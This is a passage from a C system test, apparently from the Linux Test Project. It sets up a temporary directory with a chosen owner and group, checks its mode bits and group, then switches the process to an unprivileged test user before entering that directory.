		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
	}
	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
	}

	/*
	 * Verify that test directory created with expected permission modes
	 * and ownerships.
	 */
	if (stat(DIR_TEMP, &buf) < 0) {
		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
	}

	/* Verify modes of test directory */
	if (buf.st_mode & S_ISGID) {
		tst_brkm(TBROK, cleanup,
			 "%s: Incorrect modes, setgid bit set", DIR_TEMP);
	}

	/* Verify group ID of test directory */
	if (buf.st_gid != group2_gid) {
		tst_brkm(TBROK, cleanup, "%s: Incorrect group", DIR_TEMP);
	}

	/*
	 * Set the effective group id and user id of the test process
	 * to that of guest user.
	 */
	if (setgid(group1_gid) < 0) {
		tst_brkm(TBROK, cleanup,
			 "Unable to set process gid to that of ltpuser");
	}
	if (setreuid(-1, user1_uid) < 0) {
		tst_brkm(TBROK, cleanup,
			 "Unable to set process uid to that of ltp user");
	}

	/* Save the real group ID of the current process */
	mygid = getgid();

	/* Change directory to DIR_TEMP */
	if (chdir(DIR_TEMP) < 0) {
		tst_brkm(TBROK, cleanup,
			 "Unable to change to %s directory", DIR_TEMP);
	}
}